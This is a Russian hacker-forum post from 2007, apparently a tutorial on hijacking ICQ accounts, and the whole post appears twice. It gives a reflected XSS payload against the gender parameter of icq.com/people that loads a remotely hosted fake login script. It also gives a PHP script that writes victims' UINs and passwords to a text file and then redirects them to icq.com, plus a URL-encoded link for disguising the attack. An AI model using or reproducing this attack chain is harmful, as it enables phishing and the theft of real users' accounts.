NOmeR1
18.11.2007, 18:26
Заходим в Icq через Xss
В этой статье я расскажу, как можно использовать уязвимость XSS на сайте ICQ.com.
Всем известно, что через фейк можно угнать icq, но далеко не все станут заходить по ссылке vasya.com/fake.php.
Возникает вопрос, можно ли сделать так, чтобы фейк был на ICQ.com? Ответ простой - да, и не сложно.
...Немного теории...
Нам понадобится:
1. Хост с поддержкой PHP (платный или бесплатный)
2. Уязвимость (XSS)
3. Два скрипта :
1. Фейк
2. Сохранялка пароля (login.php)
Уязвимость ICQ.com - файл icq.com/people/ уязвимое поле gender, вот урл:
http://icq.com/people/?people_search=1&searched=1&gender=[xss]
Фейк получился у меня очень большой и не поместился в сообщение, поэтому скачать (http://webfile.ru/1600970) =)
Сохранялка пароля (login.php) очень простая
<?
$file = 'icq.txt'; // файлик
if( $_GET['delete'] == 'ok' )
{
$f = fopen($file, 'w');
fwrite($f, NULL);
fclose($f);
echo('Файл '.$file.' очищен');
}
elseif( $_POST['uin_email'] && $_POST['password'] )
{
$f = fopen($file, 'a');
fwrite($f, $_POST['uin_email'].';'.$_POST['password']."\n");
fclose($f);
header('Location: http://icq.com');
}
else
{
header('Location: http://icq.com');
}
?>
$file можете изменить по своему желанию.
...От теории к практике...
Заливаем файл login.php на хост с поддержкой PHP.
Приётся немного подкорректировать фейк (script.js). Измените содержание переменной $fake (http://site/karma/login.php) на урл до login.php. Ну и собственно заливаем его туда же.
Теперь нам надо только составить урл уязвимости. Открываем http://icq.com/people/?people_search=1&searched=1&gender=[xss], но вместо [xss] напишем к примеру <xss_test>, теперь видим, что баг находится внутри скрипта:
<script type="text/javascript" language="Javascript">
document.getElementById('gender').selectedIndex = <xss_test>;
document.getElementById('fr_age_group').selectedIn dex = 0;
</script>
Ну а теперь можно составить код, делающий фейк на этой странице, нам нужно, чтобы код выглядел так:
<script type="text/javascript" language="Javascript">
document.getElementById('gender').selectedIndex = 1;</script><script src="путь_до_фейка"></script><script>//;
document.getElementById('fr_age_group').selectedIn dex = 0;
</script>
Наш урл будет выглядеть так:
http://icq.com/people/?people_search=1&searched=1&gender=1;</script><script src="путь_до_фейка"></script><script>//
Не очень красиво, согласитесь? Есть множество програм/тулз, которые маскируют ссылку, я выбрал способ - с помощью urlencode (в PHP).
Кто не знает, где найти маскировщик, юзайте мой (http://hax0r.in/index.php?nav=tools&tool=encode.decode) (вписываете этот ява скрипт код и Url будет маскировкой).
У нас получится урл типо этого:
http://icq.com/people/?people_search=1&searched=1&gender=%31%3b%3c%2f%73%63%72%69%70%74%3e%3c%73%63% 72%69%70%74%20%73%72%63%3d%22%ef%f3%f2%fc%5f%e4%ee %5f%f4%e5%e9%ea%e0%22%3e%3c%2f%73%63%72%69%70%74%3 e%3c%73%63%72%69%70%74%3e%2f%2f
Не супер секретная ссылка, но это, всё что можно сделать =)
Ах да, и ещё к сожалению, она не будет работать в осле, не знаю почему..
Теперь можете попробывать ввеси уин и пароль, и когда нажмёте submit, ваши данные сохранятся в файл, указанный в login.php (по умолчанию - icq.txt), а вы, как ни в чём не бывало, перейдёте на http://icq.com.
Вы так же можете очищать этот файл, зайдя на login.php?delete=ok.
P.S. Thx 2 inv за идею =)
P.P.S. Нет, я не увлёкся взломом ICQ, я просто решил поведать новичкам о том, как сделать фейк ICQ.com на самом же ICQ.com.
В этой статье я расскажу, как можно использовать уязвимость XSS на сайте ICQ.com.
Всем известно, что через фейк можно угнать icq, но далеко не все станут заходить по ссылке vasya.com/fake.php.
Возникает вопрос, можно ли сделать так, чтобы фейк был на ICQ.com? Ответ простой - да, и не сложно.
...Немного теории...
Нам понадобится:
1. Хост с поддержкой PHP (платный или бесплатный)
2. Уязвимость (XSS)
3. Два скрипта :
1. Фейк
2. Сохранялка пароля (login.php)
Уязвимость ICQ.com - файл icq.com/people/ уязвимое поле gender, вот урл:
http://icq.com/people/?people_search=1&searched=1&gender=[xss]
Фейк получился у меня очень большой и не поместился в сообщение, поэтому скачать (http://webfile.ru/1600970) =)
Сохранялка пароля (login.php) очень простая
<?
$file = 'icq.txt'; // файлик
if( $_GET['delete'] == 'ok' )
{
$f = fopen($file, 'w');
fwrite($f, NULL);
fclose($f);
echo('Файл '.$file.' очищен');
}
elseif( $_POST['uin_email'] && $_POST['password'] )
{
$f = fopen($file, 'a');
fwrite($f, $_POST['uin_email'].';'.$_POST['password']."\n");
fclose($f);
header('Location: http://icq.com');
}
else
{
header('Location: http://icq.com');
}
?>
$file можете изменить по своему желанию.
...От теории к практике...
Заливаем файл login.php на хост с поддержкой PHP.
Приётся немного подкорректировать фейк (script.js). Измените содержание переменной $fake (http://site/karma/login.php) на урл до login.php. Ну и собственно заливаем его туда же.
Теперь нам надо только составить урл уязвимости. Открываем http://icq.com/people/?people_search=1&searched=1&gender=[xss], но вместо [xss] напишем к примеру <xss_test>, теперь видим, что баг находится внутри скрипта:
<script type="text/javascript" language="Javascript">
document.getElementById('gender').selectedIndex = <xss_test>;
document.getElementById('fr_age_group').selectedIn dex = 0;
</script>
Ну а теперь можно составить код, делающий фейк на этой странице, нам нужно, чтобы код выглядел так:
<script type="text/javascript" language="Javascript">
document.getElementById('gender').selectedIndex = 1;</script><script src="путь_до_фейка"></script><script>//;
document.getElementById('fr_age_group').selectedIn dex = 0;
</script>
Наш урл будет выглядеть так:
http://icq.com/people/?people_search=1&searched=1&gender=1;</script><script src="путь_до_фейка"></script><script>//
Не очень красиво, согласитесь? Есть множество програм/тулз, которые маскируют ссылку, я выбрал способ - с помощью urlencode (в PHP).
Кто не знает, где найти маскировщик, юзайте мой (http://hax0r.in/index.php?nav=tools&tool=encode.decode) (вписываете этот ява скрипт код и Url будет маскировкой).
У нас получится урл типо этого:
http://icq.com/people/?people_search=1&searched=1&gender=%31%3b%3c%2f%73%63%72%69%70%74%3e%3c%73%63% 72%69%70%74%20%73%72%63%3d%22%ef%f3%f2%fc%5f%e4%ee %5f%f4%e5%e9%ea%e0%22%3e%3c%2f%73%63%72%69%70%74%3 e%3c%73%63%72%69%70%74%3e%2f%2f
Не супер секретная ссылка, но это, всё что можно сделать =)
Ах да, и ещё к сожалению, она не будет работать в осле, не знаю почему..
Теперь можете попробывать ввеси уин и пароль, и когда нажмёте submit, ваши данные сохранятся в файл, указанный в login.php (по умолчанию - icq.txt), а вы, как ни в чём не бывало, перейдёте на http://icq.com.
Вы так же можете очищать этот файл, зайдя на login.php?delete=ok.
P.S. Thx 2 inv за идею =)
P.P.S. Нет, я не увлёкся взломом ICQ, я просто решил поведать новичкам о том, как сделать фейк ICQ.com на самом же ICQ.com.